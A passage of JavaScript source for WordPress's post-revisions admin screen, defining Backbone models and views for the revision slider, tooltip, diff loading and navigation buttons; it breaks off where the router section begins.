1/**
2 * @file Revisions interface functions, Backbone classes and
3 * the revisions.php document.ready bootstrap.
4 *
5 * @output wp-admin/js/revisions.js
6 */
7
8/* global isRtl */
9
10window.wp = window.wp || {};
11
12(function($) {
13 var revisions;
14 /**
15 * Expose the module in window.wp.revisions.
16 */
17 revisions = wp.revisions = { model: {}, view: {}, controller: {} };
18
19 // Link post revisions data served from the back end.
20 revisions.settings = window._wpRevisionsSettings || {};
21
22 // For debugging.
23 revisions.debug = false;
24
25 /**
26 * wp.revisions.log
27 *
28 * A debugging utility for revisions. Works only when a
29 * debug flag is on and the browser supports it.
30 */
31 revisions.log = function() {
32 if ( window.console && revisions.debug ) {
33 window.console.log.apply( window.console, arguments );
34 }
35 };
36
37 // Handy functions to help with positioning.
38 $.fn.allOffsets = function() {
39 var offset = this.offset() || {top: 0, left: 0}, win = $(window);
40 return _.extend( offset, {
41 right: win.width() - offset.left - this.outerWidth(),
42 bottom: win.height() - offset.top - this.outerHeight()
43 });
44 };
45
46 $.fn.allPositions = function() {
47 var position = this.position() || {top: 0, left: 0}, parent = this.parent();
48 return _.extend( position, {
49 right: parent.outerWidth() - position.left - this.outerWidth(),
50 bottom: parent.outerHeight() - position.top - this.outerHeight()
51 });
52 };
53
54 /**
55 * ========================================================================
56 * MODELS
57 * ========================================================================
58 */
59 revisions.model.Slider = Backbone.Model.extend({
60 defaults: {
61 value: null,
62 values: null,
63 min: 0,
64 max: 1,
65 step: 1,
66 range: false,
67 compareTwoMode: false
68 },
69
70 initialize: function( options ) {
71 this.frame = options.frame;
72 this.revisions = options.revisions;
73
74 // Listen for changes to the revisions or mode from outside.
75 this.listenTo( this.frame, 'update:revisions', this.receiveRevisions );
76 this.listenTo( this.frame, 'change:compareTwoMode', this.updateMode );
77
78 // Listen for internal changes.
79 this.on( 'change:from', this.handleLocalChanges );
80 this.on( 'change:to', this.handleLocalChanges );
81 this.on( 'change:compareTwoMode', this.updateSliderSettings );
82 this.on( 'update:revisions', this.updateSliderSettings );
83
84 // Listen for changes to the hovered revision.
85 this.on( 'change:hoveredRevision', this.hoverRevision );
86
87 this.set({
88 max: this.revisions.length - 1,
89 compareTwoMode: this.frame.get('compareTwoMode'),
90 from: this.frame.get('from'),
91 to: this.frame.get('to')
92 });
93 this.updateSliderSettings();
94 },
95
96 getSliderValue: function( a, b ) {
97 return isRtl ? this.revisions.length - this.revisions.indexOf( this.get(a) ) - 1 : this.revisions.indexOf( this.get(b) );
98 },
99
100 updateSliderSettings: function() {
101 if ( this.get('compareTwoMode') ) {
102 this.set({
103 values: [
104 this.getSliderValue( 'to', 'from' ),
105 this.getSliderValue( 'from', 'to' )
106 ],
107 value: null,
108 range: true // Ensures handles cannot cross.
109 });
110 } else {
111 this.set({
112 value: this.getSliderValue( 'to', 'to' ),
113 values: null,
114 range: false
115 });
116 }
117 this.trigger( 'update:slider' );
118 },
119
120 // Called when a revision is hovered.
121 hoverRevision: function( model, value ) {
122 this.trigger( 'hovered:revision', value );
123 },
124
125 // Called when `compareTwoMode` changes.
126 updateMode: function( model, value ) {
127 this.set({ compareTwoMode: value });
128 },
129
130 // Called when `from` or `to` changes in the local model.
131 handleLocalChanges: function() {
132 this.frame.set({
133 from: this.get('from'),
134 to: this.get('to')
135 });
136 },
137
138 // Receives revisions changes from outside the model.
139 receiveRevisions: function( from, to ) {
140 // Bail if nothing changed.
141 if ( this.get('from') === from && this.get('to') === to ) {
142 return;
143 }
144
145 this.set({ from: from, to: to }, { silent: true });
146 this.trigger( 'update:revisions', from, to );
147 }
148
149 });
150
151 revisions.model.Tooltip = Backbone.Model.extend({
152 defaults: {
153 revision: null,
154 offset: {},
155 hovering: false, // Whether the mouse is hovering.
156 scrubbing: false // Whether the mouse is scrubbing.
157 },
158
159 initialize: function( options ) {
160 this.frame = options.frame;
161 this.revisions = options.revisions;
162 this.slider = options.slider;
163
164 this.listenTo( this.slider, 'hovered:revision', this.updateRevision );
165 this.listenTo( this.slider, 'change:hovering', this.setHovering );
166 this.listenTo( this.slider, 'change:scrubbing', this.setScrubbing );
167 },
168
169
170 updateRevision: function( revision ) {
171 this.set({ revision: revision });
172 },
173
174 setHovering: function( model, value ) {
175 this.set({ hovering: value });
176 },
177
178 setScrubbing: function( model, value ) {
179 this.set({ scrubbing: value });
180 }
181 });
182
183 revisions.model.Revision = Backbone.Model.extend({});
184
185 /**
186 * wp.revisions.model.Revisions
187 *
188 * A collection of post revisions.
189 */
190 revisions.model.Revisions = Backbone.Collection.extend({
191 model: revisions.model.Revision,
192
193 initialize: function() {
194 _.bindAll( this, 'next', 'prev' );
195 },
196
197 next: function( revision ) {
198 var index = this.indexOf( revision );
199
200 if ( index !== -1 && index !== this.length - 1 ) {
201 return this.at( index + 1 );
202 }
203 },
204
205 prev: function( revision ) {
206 var index = this.indexOf( revision );
207
208 if ( index !== -1 && index !== 0 ) {
209 return this.at( index - 1 );
210 }
211 }
212 });
213
214 revisions.model.Field = Backbone.Model.extend({});
215
216 revisions.model.Fields = Backbone.Collection.extend({
217 model: revisions.model.Field
218 });
219
220 revisions.model.Diff = Backbone.Model.extend({
221 initialize: function() {
222 var fields = this.get('fields');
223 this.unset('fields');
224
225 this.fields = new revisions.model.Fields( fields );
226 }
227 });
228
229 revisions.model.Diffs = Backbone.Collection.extend({
230 initialize: function( models, options ) {
231 _.bindAll( this, 'getClosestUnloaded' );
232 this.loadAll = _.once( this._loadAll );
233 this.revisions = options.revisions;
234 this.postId = options.postId;
235 this.requests = {};
236 },
237
238 model: revisions.model.Diff,
239
240 ensure: function( id, context ) {
241 var diff = this.get( id ),
242 request = this.requests[ id ],
243 deferred = $.Deferred(),
244 ids = {},
245 from = id.split(':')[0],
246 to = id.split(':')[1];
247 ids[id] = true;
248
249 wp.revisions.log( 'ensure', id );
250
251 this.trigger( 'ensure', ids, from, to, deferred.promise() );
252
253 if ( diff ) {
254 deferred.resolveWith( context, [ diff ] );
255 } else {
256 this.trigger( 'ensure:load', ids, from, to, deferred.promise() );
257 _.each( ids, _.bind( function( id ) {
258 // Remove anything that has an ongoing request.
259 if ( this.requests[ id ] ) {
260 delete ids[ id ];
261 }
262 // Remove anything we already have.
263 if ( this.get( id ) ) {
264 delete ids[ id ];
265 }
266 }, this ) );
267 if ( ! request ) {
268 // Always include the ID that started this ensure.
269 ids[ id ] = true;
270 request = this.load( _.keys( ids ) );
271 }
272
273 request.done( _.bind( function() {
274 deferred.resolveWith( context, [ this.get( id ) ] );
275 }, this ) ).fail( _.bind( function() {
276 deferred.reject();
277 }) );
278 }
279
280 return deferred.promise();
281 },
282
283 // Returns an array of proximal diffs.
284 getClosestUnloaded: function( ids, centerId ) {
285 var self = this;
286 return _.chain([0].concat( ids )).initial().zip( ids ).sortBy( function( pair ) {
287 return Math.abs( centerId - pair[1] );
288 }).map( function( pair ) {
289 return pair.join(':');
290 }).filter( function( diffId ) {
291 return _.isUndefined( self.get( diffId ) ) && ! self.requests[ diffId ];
292 }).value();
293 },
294
295 _loadAll: function( allRevisionIds, centerId, num ) {
296 var self = this, deferred = $.Deferred(),
297 diffs = _.first( this.getClosestUnloaded( allRevisionIds, centerId ), num );
298 if ( _.size( diffs ) > 0 ) {
299 this.load( diffs ).done( function() {
300 self._loadAll( allRevisionIds, centerId, num ).done( function() {
301 deferred.resolve();
302 });
303 }).fail( function() {
304 if ( 1 === num ) { // Already tried 1. This just isn't working. Give up.
305 deferred.reject();
306 } else { // Request fewer diffs this time.
307 self._loadAll( allRevisionIds, centerId, Math.ceil( num / 2 ) ).done( function() {
308 deferred.resolve();
309 });
310 }
311 });
312 } else {
313 deferred.resolve();
314 }
315 return deferred;
316 },
317
318 load: function( comparisons ) {
319 wp.revisions.log( 'load', comparisons );
320 // Our collection should only ever grow, never shrink, so `remove: false`.
321 return this.fetch({ data: { compare: comparisons }, remove: false }).done( function() {
322 wp.revisions.log( 'load:complete', comparisons );
323 });
324 },
325
326 sync: function( method, model, options ) {
327 if ( 'read' === method ) {
328 options = options || {};
329 options.context = this;
330 options.data = _.extend( options.data || {}, {
331 action: 'get-revision-diffs',
332 post_id: this.postId
333 });
334
335 var deferred = wp.ajax.send( options ),
336 requests = this.requests;
337
338 // Record that we're requesting each diff.
339 if ( options.data.compare ) {
340 _.each( options.data.compare, function( id ) {
341 requests[ id ] = deferred;
342 });
343 }
344
345 // When the request completes, clear the stored request.
346 deferred.always( function() {
347 if ( options.data.compare ) {
348 _.each( options.data.compare, function( id ) {
349 delete requests[ id ];
350 });
351 }
352 });
353
354 return deferred;
355
356 // Otherwise, fall back to `Backbone.sync()`.
357 } else {
358 return Backbone.Model.prototype.sync.apply( this, arguments );
359 }
360 }
361 });
362
363
364 /**
365 * wp.revisions.model.FrameState
366 *
367 * The frame state.
368 *
369 * @see wp.revisions.view.Frame
370 *
371 * @param {object} attributes Model attributes - none are required.
372 * @param {object} options Options for the model.
373 * @param {revisions.model.Revisions} options.revisions A collection of revisions.
374 */
375 revisions.model.FrameState = Backbone.Model.extend({
376 defaults: {
377 loading: false,
378 error: false,
379 compareTwoMode: false
380 },
381
382 initialize: function( attributes, options ) {
383 var state = this.get( 'initialDiffState' );
384 _.bindAll( this, 'receiveDiff' );
385 this._debouncedEnsureDiff = _.debounce( this._ensureDiff, 200 );
386
387 this.revisions = options.revisions;
388
389 this.diffs = new revisions.model.Diffs( [], {
390 revisions: this.revisions,
391 postId: this.get( 'postId' )
392 } );
393
394 // Set the initial diffs collection.
395 this.diffs.set( this.get( 'diffData' ) );
396
397 // Set up internal listeners.
398 this.listenTo( this, 'change:from', this.changeRevisionHandler );
399 this.listenTo( this, 'change:to', this.changeRevisionHandler );
400 this.listenTo( this, 'change:compareTwoMode', this.changeMode );
401 this.listenTo( this, 'update:revisions', this.updatedRevisions );
402 this.listenTo( this.diffs, 'ensure:load', this.updateLoadingStatus );
403 this.listenTo( this, 'update:diff', this.updateLoadingStatus );
404
405 // Set the initial revisions, baseUrl, and mode as provided through attributes.
406
407 this.set( {
408 to : this.revisions.get( state.to ),
409 from : this.revisions.get( state.from ),
410 compareTwoMode : state.compareTwoMode
411 } );
412
413 // Start the router if browser supports History API.
414 if ( window.history && window.history.pushState ) {
415 this.router = new revisions.Router({ model: this });
416 if ( Backbone.History.started ) {
417 Backbone.history.stop();
418 }
419 Backbone.history.start({ pushState: true });
420 }
421 },
422
423 updateLoadingStatus: function() {
424 this.set( 'error', false );
425 this.set( 'loading', ! this.diff() );
426 },
427
428 changeMode: function( model, value ) {
429 var toIndex = this.revisions.indexOf( this.get( 'to' ) );
430
431 // If we were on the first revision before switching to two-handled mode,
432 // bump the 'to' position over one.
433 if ( value && 0 === toIndex ) {
434 this.set({
435 from: this.revisions.at( toIndex ),
436 to: this.revisions.at( toIndex + 1 )
437 });
438 }
439
440 // When switching back to single-handled mode, reset 'from' model to
441 // one position before the 'to' model.
442 if ( ! value && 0 !== toIndex ) { // '! value' means switching to single-handled mode.
443 this.set({
444 from: this.revisions.at( toIndex - 1 ),
445 to: this.revisions.at( toIndex )
446 });
447 }
448 },
449
450 updatedRevisions: function( from, to ) {
451 if ( this.get( 'compareTwoMode' ) ) {
452 // @todo Compare-two loading strategy.
453 } else {
454 this.diffs.loadAll( this.revisions.pluck('id'), to.id, 40 );
455 }
456 },
457
458 // Fetch the currently loaded diff.
459 diff: function() {
460 return this.diffs.get( this._diffId );
461 },
462
463 /*
464 * So long as `from` and `to` are changed at the same time, the diff
465 * will only be updated once. This is because Backbone updates all of
466 * the changed attributes in `set`, and then fires the `change` events.
467 */
468 updateDiff: function( options ) {
469 var from, to, diffId, diff;
470
471 options = options || {};
472 from = this.get('from');
473 to = this.get('to');
474 diffId = ( from ? from.id : 0 ) + ':' + to.id;
475
476 // Check if we're actually changing the diff id.
477 if ( this._diffId === diffId ) {
478 return $.Deferred().reject().promise();
479 }
480
481 this._diffId = diffId;
482 this.trigger( 'update:revisions', from, to );
483
484 diff = this.diffs.get( diffId );
485
486 // If we already have the diff, then immediately trigger the update.
487 if ( diff ) {
488 this.receiveDiff( diff );
489 return $.Deferred().resolve().promise();
490 // Otherwise, fetch the diff.
491 } else {
492 if ( options.immediate ) {
493 return this._ensureDiff();
494 } else {
495 this._debouncedEnsureDiff();
496 return $.Deferred().reject().promise();
497 }
498 }
499 },
500
501 // A simple wrapper around `updateDiff` to prevent the change event's
502 // parameters from being passed through.
503 changeRevisionHandler: function() {
504 this.updateDiff();
505 },
506
507 receiveDiff: function( diff ) {
508 // Did we actually get a diff?
509 if ( _.isUndefined( diff ) || _.isUndefined( diff.id ) ) {
510 this.set({
511 loading: false,
512 error: true
513 });
514 } else if ( this._diffId === diff.id ) { // Make sure the current diff didn't change.
515 this.trigger( 'update:diff', diff );
516 }
517 },
518
519 _ensureDiff: function() {
520 return this.diffs.ensure( this._diffId, this ).always( this.receiveDiff );
521 }
522 });
523
524
525 /**
526 * ========================================================================
527 * VIEWS
528 * ========================================================================
529 */
530
531 /**
532 * wp.revisions.view.Frame
533 *
534 * Top level frame that orchestrates the revisions experience.
535 *
536 * @param {object} options The options hash for the view.
537 * @param {revisions.model.FrameState} options.model The frame state model.
538 */
539 revisions.view.Frame = wp.Backbone.View.extend({
540 className: 'revisions',
541 template: wp.template('revisions-frame'),
542
543 initialize: function() {
544 this.listenTo( this.model, 'update:diff', this.renderDiff );
545 this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
546 this.listenTo( this.model, 'change:loading', this.updateLoadingStatus );
547 this.listenTo( this.model, 'change:error', this.updateErrorStatus );
548
549 this.views.set( '.revisions-control-frame', new revisions.view.Controls({
550 model: this.model
551 }) );
552 },
553
554 render: function() {
555 wp.Backbone.View.prototype.render.apply( this, arguments );
556
557 $('html').css( 'overflow-y', 'scroll' );
558 $('#wpbody-content .wrap').append( this.el );
559 this.updateCompareTwoMode();
560 this.renderDiff( this.model.diff() );
561 this.views.ready();
562
563 return this;
564 },
565
566 renderDiff: function( diff ) {
567 this.views.set( '.revisions-diff-frame', new revisions.view.Diff({
568 model: diff
569 }) );
570 },
571
572 updateLoadingStatus: function() {
573 this.$el.toggleClass( 'loading', this.model.get('loading') );
574 },
575
576 updateErrorStatus: function() {
577 this.$el.toggleClass( 'diff-error', this.model.get('error') );
578 },
579
580 updateCompareTwoMode: function() {
581 this.$el.toggleClass( 'comparing-two-revisions', this.model.get('compareTwoMode') );
582 }
583 });
584
585 /**
586 * wp.revisions.view.Controls
587 *
588 * The controls view.
589 *
590 * Contains the revision slider, previous/next buttons, the meta info and the compare checkbox.
591 */
592 revisions.view.Controls = wp.Backbone.View.extend({
593 className: 'revisions-controls',
594
595 initialize: function() {
596 _.bindAll( this, 'setWidth' );
597
598 // Add the checkbox view.
599 this.views.add( new revisions.view.Checkbox({
600 model: this.model
601 }) );
602
603 // Add the button view.
604 this.views.add( new revisions.view.Buttons({
605 model: this.model
606 }) );
607
608 // Prep the slider model.
609 var slider = new revisions.model.Slider({
610 frame: this.model,
611 revisions: this.model.revisions
612 }),
613
614 // Prep the tooltip model.
615 tooltip = new revisions.model.Tooltip({
616 frame: this.model,
617 revisions: this.model.revisions,
618 slider: slider
619 });
620
621 // Add the tooltip view.
622 this.views.add( new revisions.view.Tooltip({
623 model: tooltip
624 }) );
625
626 // Add the tickmarks view.
627 this.views.add( new revisions.view.Tickmarks({
628 model: tooltip
629 }) );
630
631 // Add the visually hidden slider help view.
632 this.views.add( new revisions.view.SliderHelp() );
633
634 // Add the slider view.
635 this.views.add( new revisions.view.Slider({
636 model: slider
637 }) );
638
639 // Add the Metabox view.
640 this.views.add( new revisions.view.Metabox({
641 model: this.model
642 }) );
643 },
644
645 ready: function() {
646 this.top = this.$el.offset().top;
647 this.window = $(window);
648 this.window.on( 'scroll.wp.revisions', {controls: this}, function(e) {
649 var controls = e.data.controls,
650 container = controls.$el.parent(),
651 scrolled = controls.window.scrollTop(),
652 frame = controls.views.parent;
653
654 if ( scrolled >= controls.top ) {
655 if ( ! frame.$el.hasClass('pinned') ) {
656 controls.setWidth();
657 container.css('height', container.height() + 'px' );
658 controls.window.on('resize.wp.revisions.pinning click.wp.revisions.pinning', {controls: controls}, function(e) {
659 e.data.controls.setWidth();
660 });
661 }
662 frame.$el.addClass('pinned');
663 } else if ( frame.$el.hasClass('pinned') ) {
664 controls.window.off('.wp.revisions.pinning');
665 controls.$el.css('width', 'auto');
666 frame.$el.removeClass('pinned');
667 container.css('height', 'auto');
668 controls.top = controls.$el.offset().top;
669 } else {
670 controls.top = controls.$el.offset().top;
671 }
672 });
673 },
674
675 setWidth: function() {
676 this.$el.css('width', this.$el.parent().width() + 'px');
677 }
678 });
679
680 // The tickmarks view.
681 revisions.view.Tickmarks = wp.Backbone.View.extend({
682 className: 'revisions-tickmarks',
683 direction: isRtl ? 'right' : 'left',
684
685 initialize: function() {
686 this.listenTo( this.model, 'change:revision', this.reportTickPosition );
687 },
688
689 reportTickPosition: function( model, revision ) {
690 var offset, thisOffset, parentOffset, tick, index = this.model.revisions.indexOf( revision );
691 thisOffset = this.$el.allOffsets();
692 parentOffset = this.$el.parent().allOffsets();
693 if ( index === this.model.revisions.length - 1 ) {
694 // Last one.
695 offset = {
696 rightPlusWidth: thisOffset.left - parentOffset.left + 1,
697 leftPlusWidth: thisOffset.right - parentOffset.right + 1
698 };
699 } else {
700 // Normal tick.
701 tick = this.$('div:nth-of-type(' + (index + 1) + ')');
702 offset = tick.allPositions();
703 _.extend( offset, {
704 left: offset.left + thisOffset.left - parentOffset.left,
705 right: offset.right + thisOffset.right - parentOffset.right
706 });
707 _.extend( offset, {
708 leftPlusWidth: offset.left + tick.outerWidth(),
709 rightPlusWidth: offset.right + tick.outerWidth()
710 });
711 }
712 this.model.set({ offset: offset });
713 },
714
715 ready: function() {
716 var tickCount, tickWidth;
717 tickCount = this.model.revisions.length - 1;
718 tickWidth = 1 / tickCount;
719 this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');
720
721 _(tickCount).times( function( index ){
722 this.$el.append( '<div style="' + this.direction + ': ' + ( 100 * tickWidth * index ) + '%"></div>' );
723 }, this );
724 }
725 });
726
727 // The metabox view.
728 revisions.view.Metabox = wp.Backbone.View.extend({
729 className: 'revisions-meta',
730
731 initialize: function() {
732 // Add the 'from' view.
733 this.views.add( new revisions.view.MetaFrom({
734 model: this.model,
735 className: 'diff-meta diff-meta-from'
736 }) );
737
738 // Add the 'to' view.
739 this.views.add( new revisions.view.MetaTo({
740 model: this.model
741 }) );
742 }
743 });
744
745 // The revision meta view (to be extended).
746 revisions.view.Meta = wp.Backbone.View.extend({
747 template: wp.template('revisions-meta'),
748
749 events: {
750 'click .restore-revision': 'restoreRevision'
751 },
752
753 initialize: function() {
754 this.listenTo( this.model, 'update:revisions', this.render );
755 },
756
757 prepare: function() {
758 return _.extend( this.model.toJSON()[this.type] || {}, {
759 type: this.type
760 });
761 },
762
763 restoreRevision: function() {
764 document.location = this.model.get('to').attributes.restoreUrl;
765 }
766 });
767
768 // The revision meta 'from' view.
769 revisions.view.MetaFrom = revisions.view.Meta.extend({
770 className: 'diff-meta diff-meta-from',
771 type: 'from'
772 });
773
774 // The revision meta 'to' view.
775 revisions.view.MetaTo = revisions.view.Meta.extend({
776 className: 'diff-meta diff-meta-to',
777 type: 'to'
778 });
779
780 // The checkbox view.
781 revisions.view.Checkbox = wp.Backbone.View.extend({
782 className: 'revisions-checkbox',
783 template: wp.template('revisions-checkbox'),
784
785 events: {
786 'click .compare-two-revisions': 'compareTwoToggle'
787 },
788
789 initialize: function() {
790 this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
791 },
792
793 ready: function() {
794 if ( this.model.revisions.length < 3 ) {
795 $('.revision-toggle-compare-mode').hide();
796 }
797 },
798
799 updateCompareTwoMode: function() {
800 this.$('.compare-two-revisions').prop( 'checked', this.model.get('compareTwoMode') );
801 },
802
803 // Toggle the compare two mode feature when the compare two checkbox is checked.
804 compareTwoToggle: function() {
805 // Activate compare two mode?
806 this.model.set({ compareTwoMode: $('.compare-two-revisions').prop('checked') });
807 }
808 });
809
810 // The slider visually hidden help view.
811 revisions.view.SliderHelp = wp.Backbone.View.extend({
812 className: 'revisions-slider-hidden-help',
813 template: wp.template( 'revisions-slider-hidden-help' )
814 });
815
816 // The tooltip view.
817 // Encapsulates the tooltip.
818 revisions.view.Tooltip = wp.Backbone.View.extend({
819 className: 'revisions-tooltip',
820 template: wp.template('revisions-meta'),
821
822 initialize: function() {
823 this.listenTo( this.model, 'change:offset', this.render );
824 this.listenTo( this.model, 'change:hovering', this.toggleVisibility );
825 this.listenTo( this.model, 'change:scrubbing', this.toggleVisibility );
826 },
827
828 prepare: function() {
829 if ( _.isNull( this.model.get('revision') ) ) {
830 return;
831 } else {
832 return _.extend( { type: 'tooltip' }, {
833 attributes: this.model.get('revision').toJSON()
834 });
835 }
836 },
837
838 render: function() {
839 var otherDirection,
840 direction,
841 directionVal,
842 flipped,
843 css = {},
844 position = this.model.revisions.indexOf( this.model.get('revision') ) + 1;
845
846 flipped = ( position / this.model.revisions.length ) > 0.5;
847 if ( isRtl ) {
848 direction = flipped ? 'left' : 'right';
849 directionVal = flipped ? 'leftPlusWidth' : direction;
850 } else {
851 direction = flipped ? 'right' : 'left';
852 directionVal = flipped ? 'rightPlusWidth' : direction;
853 }
854 otherDirection = 'right' === direction ? 'left': 'right';
855 wp.Backbone.View.prototype.render.apply( this, arguments );
856 css[direction] = this.model.get('offset')[directionVal] + 'px';
857 css[otherDirection] = '';
858 this.$el.toggleClass( 'flipped', flipped ).css( css );
859 },
860
861 visible: function() {
862 return this.model.get( 'scrubbing' ) || this.model.get( 'hovering' );
863 },
864
865 toggleVisibility: function() {
866 if ( this.visible() ) {
867 this.$el.stop().show().fadeTo( 100 - this.el.style.opacity * 100, 1 );
868 } else {
869 this.$el.stop().fadeTo( this.el.style.opacity * 300, 0, function(){ $(this).hide(); } );
870 }
871 return;
872 }
873 });
874
875 // The buttons view.
876 // Encapsulates all of the configuration for the previous/next buttons.
877 revisions.view.Buttons = wp.Backbone.View.extend({
878 className: 'revisions-buttons',
879 template: wp.template('revisions-buttons'),
880
881 events: {
882 'click .revisions-next .button': 'nextRevision',
883 'click .revisions-previous .button': 'previousRevision'
884 },
885
886 initialize: function() {
887 this.listenTo( this.model, 'update:revisions', this.disabledButtonCheck );
888 },
889
890 ready: function() {
891 this.disabledButtonCheck();
892 },
893
894 // Go to a specific model index.
895 gotoModel: function( toIndex ) {
896 var attributes = {
897 to: this.model.revisions.at( toIndex )
898 };
899 // If we're at the first revision, unset 'from'.
900 if ( toIndex ) {
901 attributes.from = this.model.revisions.at( toIndex - 1 );
902 } else {
903 this.model.unset('from', { silent: true });
904 }
905
906 this.model.set( attributes );
907 },
908
909 // Go to the 'next' revision.
910 nextRevision: function() {
911 var toIndex = this.model.revisions.indexOf( this.model.get('to') ) + 1;
912 this.gotoModel( toIndex );
913 },
914
915 // Go to the 'previous' revision.
916 previousRevision: function() {
917 var toIndex = this.model.revisions.indexOf( this.model.get('to') ) - 1;
918 this.gotoModel( toIndex );
919 },
920
921 // Check to see if the Previous or Next buttons need to be disabled or enabled.
922 disabledButtonCheck: function() {
923 var maxVal = this.model.revisions.length - 1,
924 minVal = 0,
925 next = $('.revisions-next .button'),
926 previous = $('.revisions-previous .button'),
927 val = this.model.revisions.indexOf( this.model.get('to') );
928
929 // Disable "Next" button if you're on the last node.
930 next.prop( 'disabled', ( maxVal === val ) );
931
932 // Disable "Previous" button if you're on the first node.
933 previous.prop( 'disabled', ( minVal === val ) );
934 }
935 });
936
937
938 // The slider view.
939 revisions.view.Slider = wp.Backbone.View.extend({
940 className: 'wp-slider',
941 direction: isRtl ? 'right' : 'left',
942
943 events: {
944 'mousemove' : 'mouseMove'
945 },
946
947 initialize: function() {
948 _.bindAll( this, 'start', 'slide', 'stop', 'mouseMove', 'mouseEnter', 'mouseLeave' );
949 this.listenTo( this.model, 'update:slider', this.applySliderSettings );
950 },
951
952 ready: function() {
953 this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');
954 this.$el.slider( _.extend( this.model.toJSON(), {
955 start: this.start,
956 slide: this.slide,
957 stop: this.stop
958 }) );
959
960 this.$el.hoverIntent({
961 over: this.mouseEnter,
962 out: this.mouseLeave,
963 timeout: 800
964 });
965
966 this.applySliderSettings();
967 },
968
969 accessibilityHelper: function() {
970 var handles = $( '.ui-slider-handle' );
971 handles.first().attr( {
972 role: 'button',
973 'aria-labelledby': 'diff-title-from diff-title-author',
974 'aria-describedby': 'revisions-slider-hidden-help',
975 } );
976 handles.last().attr( {
977 role: 'button',
978 'aria-labelledby': 'diff-title-to diff-title-author',
979 'aria-describedby': 'revisions-slider-hidden-help',
980 } );
981 },
982
983 mouseMove: function( e ) {
984 var zoneCount = this.model.revisions.length - 1, // One fewer zone than models.
985 sliderFrom = this.$el.allOffsets()[this.direction], // "From" edge of slider.
986 sliderWidth = this.$el.width(), // Width of slider.
987 tickWidth = sliderWidth / zoneCount, // Calculated width of zone.
988 actualX = ( isRtl ? $(window).width() - e.pageX : e.pageX ) - sliderFrom, // Flipped for RTL - sliderFrom.
989 currentModelIndex = Math.floor( ( actualX + ( tickWidth / 2 ) ) / tickWidth ); // Calculate the model index.
990
991 // Ensure sane value for currentModelIndex.
992 if ( currentModelIndex < 0 ) {
993 currentModelIndex = 0;
994 } else if ( currentModelIndex >= this.model.revisions.length ) {
995 currentModelIndex = this.model.revisions.length - 1;
996 }
997
998 // Update the tooltip mode.
999 this.model.set({ hoveredRevision: this.model.revisions.at( currentModelIndex ) });
1000 },
1001
1002 mouseLeave: function() {
1003 this.model.set({ hovering: false });
1004 },
1005
1006 mouseEnter: function() {
1007 this.model.set({ hovering: true });
1008 },
1009
1010 applySliderSettings: function() {
1011 this.$el.slider( _.pick( this.model.toJSON(), 'value', 'values', 'range' ) );
1012 var handles = this.$('a.ui-slider-handle');
1013
1014 if ( this.model.get('compareTwoMode') ) {
1015 // In RTL mode the 'left handle' is the second in the slider, 'right' is first.
1016 handles.first()
1017 .toggleClass( 'to-handle', !! isRtl )
1018 .toggleClass( 'from-handle', ! isRtl );
1019 handles.last()
1020 .toggleClass( 'from-handle', !! isRtl )
1021 .toggleClass( 'to-handle', ! isRtl );
1022 this.accessibilityHelper();
1023 } else {
1024 handles.removeClass('from-handle to-handle');
1025 this.accessibilityHelper();
1026 }
1027
1028 },
1029
1030 start: function( event, ui ) {
1031 this.model.set({ scrubbing: true });
1032
1033 // Track the mouse position to enable smooth dragging,
1034 // overrides default jQuery UI step behavior.
1035 $( window ).on( 'mousemove.wp.revisions', { view: this }, function( e ) {
1036 var handles,
1037 view = e.data.view,
1038 leftDragBoundary = view.$el.offset().left,
1039 sliderOffset = leftDragBoundary,
1040 sliderRightEdge = leftDragBoundary + view.$el.width(),
1041 rightDragBoundary = sliderRightEdge,
1042 leftDragReset = '0',
1043 rightDragReset = '100%',
1044 handle = $( ui.handle );
1045
1046 // In two handle mode, ensure handles can't be dragged past each other.
1047 // Adjust left/right boundaries and reset points.
1048 if ( view.model.get('compareTwoMode') ) {
1049 handles = handle.parent().find('.ui-slider-handle');
1050 if ( handle.is( handles.first() ) ) {
1051 // We're the left handle.
1052 rightDragBoundary = handles.last().offset().left;
1053 rightDragReset = rightDragBoundary - sliderOffset;
1054 } else {
1055 // We're the right handle.
1056 leftDragBoundary = handles.first().offset().left + handles.first().width();
1057 leftDragReset = leftDragBoundary - sliderOffset;
1058 }
1059 }
1060
1061 // Follow mouse movements, as long as handle remains inside slider.
1062 if ( e.pageX < leftDragBoundary ) {
1063 handle.css( 'left', leftDragReset ); // Mouse to left of slider.
1064 } else if ( e.pageX > rightDragBoundary ) {
1065 handle.css( 'left', rightDragReset ); // Mouse to right of slider.
1066 } else {
1067 handle.css( 'left', e.pageX - sliderOffset ); // Mouse in slider.
1068 }
1069 } );
1070 },
1071
1072 getPosition: function( position ) {
1073 return isRtl ? this.model.revisions.length - position - 1: position;
1074 },
1075
1076 // Responds to slide events.
1077 slide: function( event, ui ) {
1078 var attributes, movedRevision;
1079 // Compare two revisions mode.
1080 if ( this.model.get('compareTwoMode') ) {
1081 // Prevent sliders from occupying same spot.
1082 if ( ui.values[1] === ui.values[0] ) {
1083 return false;
1084 }
1085 if ( isRtl ) {
1086 ui.values.reverse();
1087 }
1088 attributes = {
1089 from: this.model.revisions.at( this.getPosition( ui.values[0] ) ),
1090 to: this.model.revisions.at( this.getPosition( ui.values[1] ) )
1091 };
1092 } else {
1093 attributes = {
1094 to: this.model.revisions.at( this.getPosition( ui.value ) )
1095 };
1096 // If we're at the first revision, unset 'from'.
1097 if ( this.getPosition( ui.value ) > 0 ) {
1098 attributes.from = this.model.revisions.at( this.getPosition( ui.value ) - 1 );
1099 } else {
1100 attributes.from = undefined;
1101 }
1102 }
1103 movedRevision = this.model.revisions.at( this.getPosition( ui.value ) );
1104
1105 // If we are scrubbing, a scrub to a revision is considered a hover.
1106 if ( this.model.get('scrubbing') ) {
1107 attributes.hoveredRevision = movedRevision;
1108 }
1109
1110 this.model.set( attributes );
1111 },
1112
1113 stop: function() {
1114 $( window ).off('mousemove.wp.revisions');
1115 this.model.updateSliderSettings(); // To snap us back to a tick mark.
1116 this.model.set({ scrubbing: false });
1117 }
1118 });
1119
1120 // The diff view.
1121 // This is the view for the current active diff.
1122 revisions.view.Diff = wp.Backbone.View.extend({
1123 className: 'revisions-diff',
1124 template: wp.template('revisions-diff'),
1125
1126 // Generate the options to be passed to the template.
1127 prepare: function() {
1128 return _.extend({ fields: this.model.fields.toJSON() }, this.options );
1129 }
1130 });
1131
1132 // The revisions router.
